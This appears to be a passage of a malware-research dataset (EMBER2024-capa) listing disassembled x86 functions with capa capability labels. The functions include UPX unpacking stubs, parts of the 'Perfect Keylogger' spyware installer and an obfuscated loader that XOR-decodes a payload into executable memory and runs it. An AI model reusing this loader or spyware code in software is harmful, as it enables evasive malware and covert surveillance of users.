joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409a5f
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x409a9a
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x409a81
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x409a92
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x409a9c
inc edi
add eax, 0x28
cmp edi, esi
jb 0x409a77
xor eax, eax
pop edi
pop esi
ret

Function at 0x409170
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x407015
lea edi, [esi - 0x6015]
push edi
or ebp, 0xffffffff
jmp 0x409192
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x409199
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x409188
mov eax, 1
add ebx, ebx
jne 0x4091ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4091a0
jne 0x4091bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4091a0
xor ecx, ecx
sub eax, 3
jb 0x4091d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x409242
mov ebp, eax
add ebx, ebx
jne 0x4091db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4091e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40920c
inc ecx
add ebx, ebx
jne 0x4091f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4091ed
jne 0x409209
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4091ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40922c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40921d
jmp 0x40918e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40922c
add edi, ecx
jmp 0x40918e
pop esi
mov edi, esi
mov ecx, 9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40924a
cmp byte [edi], 0
jne 0x40924a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40924f
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x4092be
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbe68]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbed4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40927c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbedc]
or eax, eax
je 0x4092b8
mov dword [ebx], eax
add ebx, 4
jmp 0x409299
call dword [esi + 0xbed8]
mov ebp, dword [esi + 0xbee0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4092f2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401000
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.AnimateWindow
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [ebp + 0xc]
mov ebx, eax
mov esi, edi
mov eax, 0x10000
neg esi
sbb esi, esi
and esi, eax
add esi, eax
test ebx, ebx
jne 0x40104f
cmp dword [ebp + 0x10], ebx
je 0x40104a
push edi
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test byte [ebp - 0x84], 2
je 0x401089
cmp dword [ebp - 0x90], 5
jb 0x401089
test edi, edi
jne 0x401084
or esi, 0x80000
jmp 0x4010a7
cmp edi, 5
je 0x4010a4
test byte [ebp - 0x84], 1
je 0x401040
cmp dword [ebp - 0x90], 4
jb 0x401040
test edi, edi
je 0x4010a4
cmp edi, 5
jne 0x401040
or esi, 0x10
push esi
push 0x12c
push dword [ebp + 8]
call ebx
jmp 0x40104a

Function at 0x401332
Capabilities:
Check os version
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push esi
lea eax, [ebp - 0x94]
push edi
push eax
xor edi, edi
xor esi, esi
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test byte [ebp - 0x84], 2
je 0x40136d
cmp dword [ebp - 0x90], 5
jae 0x40136d
push 1
pop esi
test byte [ebp - 0x84], 1
je 0x40138a
cmp dword [ebp - 0x90], 4
jne 0x40138a
cmp dword [ebp - 0x8c], edi
jne 0x40138a
push 1
pop esi
cmp esi, edi
je 0x4013c4
push 0x34
push str.Warning
push str.If_you_want_to_use_Perfect_Keylogger_on_Windows_NT_4_or_Windows_95__it_requires_newer_versions_of_some_system_components._If_these_components_are_not_installed__keylogger_can_work_incorrectly._You_can_download_an_update_at_http:__www.blazingtools.com_downloads_sysupdate.zip_n_nDo_you_want_to_download_it_now_
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x4013c4
push edi
push edi
push edi
push str.http:__www.blazingtools.com_downloads_sysupdate.zip
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
jmp 0x4013c7
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x4018cb
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00402da0
push 0
lea eax, [ebp - 4]
push 0
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [ebp - 4]
lea eax, [ebp - 0x1004]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.An_error_occured_while_copying_file_n_s_to_n_s_n_nTo_retry_copying_press__Retry_._n_nSystem_error_message:__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x15
lea eax, [ebp - 0x1004]
push str.Setup_Program
push eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
cmp eax, 2
setne cl
mov eax, ecx
leave
ret
Function at 0x401947
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x405988]
mov ecx, 0x40507c
test eax, eax
jne 0x401963
mov ecx, 0x405068
push ebx
push esi
push edi
mov edi, eax
neg edi
sbb edi, edi
and dword [ebp - 4], 0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
and edi, 0xfffffff0
add edi, 0x14
shr edi, 2
test edi, edi
jle 0x401a30
mov dword [ebp - 8], ecx
push dword [ebp + 0xc]
lea eax, [ebp - 0x210]
push eax
call ebx
lea eax, [ebp - 0x210]
push 0x40566c
push eax
call esi
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp - 0x10c]
push 0x4057d8
push eax
call ebx
lea eax, [ebp - 0x10c]
push 0x40566c
push eax
call esi
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp - 0x10c]
push 0
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x401a1b
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004018cb
pop ecx
test eax, eax
pop ecx
je 0x401b21
jmp 0x4019e2
inc dword [ebp - 4]
add dword [ebp - 8], 4
cmp dword [ebp - 4], edi
jl 0x401990
mov eax, dword [0x405988]
mov ecx, eax
mov edi, 0x4032bc
neg ecx
sbb ecx, ecx
and ecx, 0xfffffffc
add ecx, 0x1c
shr ecx, 2
test eax, eax
mov dword [ebp - 8], ecx
jne 0x401a50
mov edi, 0x4032a0
and dword [ebp - 4], 0
test ecx, ecx
jle 0x401b19
push dword [ebp + 0xc]
lea eax, [ebp - 0x210]
push eax
call ebx
lea eax, [ebp - 0x210]
push 0x40566c
push eax
call esi
lea eax, [ebp - 0x210]
push 0x4032d4
push eax
call esi
mov eax, dword [edi]
push dword [eax*4 + 0x40504c]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp - 0x10c]
push 0x4057d8
push eax
call ebx
lea eax, [ebp - 0x10c]
push 0x40566c
push eax
call esi
lea eax, [ebp - 0x10c]
push 0x40593b
push eax
call esi
mov eax, dword [edi]
push dword [eax*4 + 0x40504c]
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp - 0x10c]
push 0
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x401b07
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004018cb
pop ecx
test eax, eax
pop ecx
je 0x401b21
jmp 0x401ad2
inc dword [ebp - 4]
add edi, 4
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jl 0x401a5c
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x401b1c

Function at 0x4020a8
Capabilities:
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
mov edi, 0x4057d8
lea eax, [ebp - 0x104]
push edi
push eax
call esi
lea eax, [ebp - 0x208]
push 0x4058d7
push eax
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x4056c8
push str.install.log
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x402119
push esi
push 1
lea eax, [ebp - 0x208]
push 0x208
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push 1
pop eax
jmp 0x40211b
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40211f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallPerfect_Keylogger
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 7
mov esi, str.BlazingTools_Perfect_Keylogger
pop ecx
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x24]
push eax
call edi
inc eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.DisplayName
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x124]
push 0x4057d8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x124]
push 0x40566c
push eax
call esi
lea eax, [ebp - 0x124]
push 0x40593b
push eax
call esi
push dword [0x405060]
lea eax, [ebp - 0x124]
push eax
call esi
lea eax, [ebp - 0x124]
push eax
call edi
inc eax
push eax
lea eax, [ebp - 0x124]
push eax
push 1
push 0
push str.UninstallString
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402376
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x405984]
neg eax
sbb eax, eax
xor ebx, ebx
and eax, 0x15
inc eax
inc eax
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 8]
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, 0x40566c
lea eax, [ebp - 0x20c]
push edi
push eax
call esi
lea eax, [ebp - 0x20c]
push 0x4058d7
push eax
call esi
lea eax, [ebp - 0x20c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x330]
push edi
push eax
call esi
push dword [ebx + 0x4050a8]
lea eax, [ebp - 0x330]
push eax
call esi
lea eax, [ebp - 0x330]
push str..lnk
push eax
call esi
lea eax, [ebp - 0x108]
push 0x4057d8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push edi
push eax
call esi
cmp dword [ebx + 0x405094], 0
je 0x40245d
push dword [ebx + 0x405080]
jmp 0x402478
lea eax, [ebp - 0x108]
push 0x40593b
push eax
call esi
mov eax, dword [ebx + 0x405080]
push dword [eax*4 + 0x40504c]
lea eax, [ebp - 0x108]
push eax
call esi
push dword [ebx + 0x4050bc]
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.0040162c
add ebx, 4
add esp, 0xc
cmp ebx, 0x14
jl 0x4023f5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4029a0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
push dword [esp + 0x14]
push esi
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_GetWindowTextA]
xor edi, edi
mov eax, esi
xor edx, edx
mov cl, byte [edx + esi]
cmp cl, 0x7c
je 0x4029c7
test cl, cl
jne 0x4029cc
inc edi
and byte [edx + esi], 0
cmp edi, dword [esp + 0x18]
je 0x4029df
cmp byte [edx + esi], 0
jne 0x4029dc
lea eax, [edx + esi + 1]
inc edx
jmp 0x4029bb
pop edi
pop esi
ret
Function at 0x4018f0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x25c
movzx esi, word [eax]
test si, si
je 0x401919
lea esi, cs:[esi]
nop
add eax, 2
cmp word [eax], 0
jne 0x401910
sub eax, ebx
mov ecx, 0x2a
sar eax, 1
mov edx, eax
mov eax, 0x418b20
jmp 0x401934
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401930
sub eax, 0x418b20
sar eax, 1
lea eax, [edx + eax + 1]
add eax, eax
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov dword [ebp - 0x260], eax
test eax, eax
je 0x4019f1
mov edx, ebx
jmp 0x40196b
movzx esi, word [edx]
add eax, 2
add edx, 2
mov word [eax - 2], si
test si, si
jne 0x401968
mov esi, dword [ebp - 0x260]
mov dword [esp + 4], 0x418b20
lea edi, [ebp - 0x25c]
mov dword [esp], esi
call sym._lstrcatW_8
sub esp, 8
mov dword [esp], esi
mov dword [esp + 4], edi
call dword [sym.imp.kernel32.dll_FindFirstFileW]
sub esp, 8
mov esi, eax
cmp eax, 0xffffffff
je 0x4019e2
mov ecx, 0xffffffff
lea edx, [ebp - 0x230]
mov eax, ebx
call sym._add_launcher
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
sub esp, 8
test eax, eax
jne 0x4019b0
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_FindClose]
sub esp, 4
mov eax, dword [ebp - 0x260]
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_free]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404690
Capabilities:
Query environment variable

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x624]
push ebx
mov ebx, eax
sub esp, 0x634
mov eax, dword [eax]
mov word [ebp - 0x624], dx
lea edx, [ebp - 0x628]
mov dword [esp + 0xc], edx
mov dword [ebp - 0x62c], 0
mov dword [esp + 8], 0x104
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [eax + 0x40]
lea edx, [ebp - 0x41c]
mov edi, dword [sym.imp.kernel32.dll_ExpandEnvironmentStringsW]
sub esp, 0x10
mov dword [esp + 8], 0x104
mov dword [esp + 4], edx
mov dword [esp], esi
call edi
sub esp, 0xc
cmp word [ebp - 0x41c], 0
jne 0x404718
mov eax, dword [ebp - 0x62c]
test eax, eax
je 0x404758
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x62c]
lea edx, [ebp - 0x41c]
mov dword [esp + 0x10], 1
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x628]
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov dword [esp], edx
call dword [0x41d600]
mov eax, dword [ebp - 0x62c]
sub esp, 0x14
test eax, eax
jne 0x40470c
xor eax, eax
mov word [ebp - 0x624], ax
mov eax, dword [ebx]
mov dword [esp + 4], esi
mov dword [esp], ebx
lea ebx, [ebp - 0x214]
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x104
call dword [eax + 0xc]
sub esp, 0x14
mov dword [esp + 4], ebx
mov dword [esp], esi
mov dword [esp + 8], 0x104
call edi
lea eax, [ebp - 0x62c]
sub esp, 0xc
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x628]
mov dword [esp], ebx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
call dword [0x41d600]
mov eax, dword [ebp - 0x62c]
sub esp, 0x14
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405040
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x405098
cmp byte [esi + ebx - 1], 0xa
je 0x40506c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4124a8], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x405140
Capabilities:
Check if process is running under wine
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
mov esi, ecx
push ebx
mov ebx, edx
sub esp, 0xa4
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x94]
mov dword [edx], 0x320
mov dword [ebp - 0x90], pe_nt_image_headers32
mov dword [ecx], 0x258
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareWineExplorerDesktops
mov dword [esp], 0x80000001
call dword [sym.imp.advapi32.dll_RegOpenKeyW]
sub esp, 0xc
test eax, eax
je 0x40519e
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, eax
lea eax, [ebp - 0x90]
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x8c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x98]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
sub esp, 0x18
test eax, eax
je 0x4051f6
mov eax, dword [ebp - 0x94]
mov dword [esp], eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
push eax
jmp 0x405194
mov ecx, esi
mov edx, ebx
lea eax, [ebp - 0x8c]
mov edi, 1
call sym._parse_size
test eax, eax
jne 0x4051e4
mov dword [esi], 0
mov dword [ebx], 0
jmp 0x4051e4
Function at 0x411e30
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x411ebb
cmp ax, 9
je 0x411ea8
cmp ax, 0x20
je 0x411ea8
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp ax, 0x5c
je 0x411f10
cmp ax, 0x22
je 0x411f20
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x411ebb
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x411e60
test edi, 1
jne 0x411e60
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x411ea8
cmp ax, 0x20
je 0x411ea8
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x411f38
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._wWinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
inc dword [ebp - 0x54]
jmp 0x411e7b
and dword [ebp - 0x54], 1
jne 0x411e74
xor edi, 1
jmp 0x411e7b
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x411ed4

Function at 0x411f50
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop
Function at 0x49a1c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x495015
lea edi, [esi - 0x94015]
push edi
jmp 0x49a1da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x49a1e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49a1d0
mov eax, 1
add ebx, ebx
jne 0x49a1f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x49a204
jne 0x49a223
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49a223
dec eax
add ebx, ebx
jne 0x49a210
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x49a1e8
add ebx, ebx
jne 0x49a21f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x49a275
xor ecx, ecx
sub eax, 3
jb 0x49a23b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x49a2aa
sar eax, 1
mov ebp, eax
jmp 0x49a246
add ebx, ebx
jne 0x49a246
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49a214
inc ecx
add ebx, ebx
jne 0x49a254
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49a214
add ebx, ebx
jne 0x49a261
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x49a256
jne 0x49a272
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x49a256
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x49a294
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x49a286
jmp 0x49a1d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x49a294
add edi, ecx
jmp 0x49a1d6
pop esi
mov edi, esi
mov ecx, 0xea00
jmp 0x49a2d7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x49a2d7
cmp ecx, 4
jb 0x49a2dc
mov eax, dword [edi]
sub al, 5
jne 0x49a2d7
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
sub ecx, 4
stosd dword es:[edi], eax
sub ecx, 1
jae 0x49a2b4
lea edi, [esi + 0x98000]
mov eax, dword [edi]
or eax, eax
je 0x49a324
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9a088]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x49a2e2
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9a090]
or eax, eax
je 0x49a31e
mov dword [ebx], eax
add ebx, 4
jmp 0x49a2ff
call dword [esi + 0x9a08c]
mov ebp, dword [esi + 0x9a094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x49a358
sub esp, 0xffffff80
jmp 0x40100c
Function at 0x6d414d40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x6d414d4f
pop dword [ebp - 0x24]
mov eax, 0xc09877bb
sub eax, 0x53572a6c
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xcebd28bb
add dword [ebp - 0x34], 0x7f951c90
mov dword [ebp - 0x30], 0xe418e445
add dword [ebp - 0x30], 0x4e1a6800
mov dword [ebp - 0x2c], 0xff6e1aa2
sub dword [ebp - 0x2c], 0xb321d674
mov dword [ebp - 0x28], 0x1d8aad1
sub dword [ebp - 0x28], 0x1d8aad1
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xb9ccf766
sub dword [ebp - 0x34], 0x455a8e10
mov dword [ebp - 0x30], 0xd11819cf
add dword [ebp - 0x30], 0x705447a6
mov dword [ebp - 0x2c], 0x2a296892
sub dword [ebp - 0x2c], 0xc6b9fc26
mov dword [ebp - 0x28], 0xd811c502
add dword [ebp - 0x28], 0x27ee3afe
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x1d6902c3
sub eax, 0xb027726b
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36a18
push 0
call eax
mov ecx, 0x2e5aa37
sub ecx, 0x2e561c3
mov esi, eax
mov edi, 0x9a516da
add edi, 0x639d0326
add edi, dword [ebp - 0x24]
mov edx, 0x98adbcf0
add edx, 0x24421cfa
xor dword [ebp - 0x18], edx
mov ebx, dword [edi]
xor dword [ebp - 4], 0x30f603eb
xor ebx, edx
sub dword [ebp - 0x14], ebx
mov dword [esi], ebx
add esi, 4
add edi, 0xaa02b861
sub edi, 0xaa02b85d
loop 0x6d414e6c
add eax, 0x6c3020d0
sub eax, 0x6c2f0c2d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret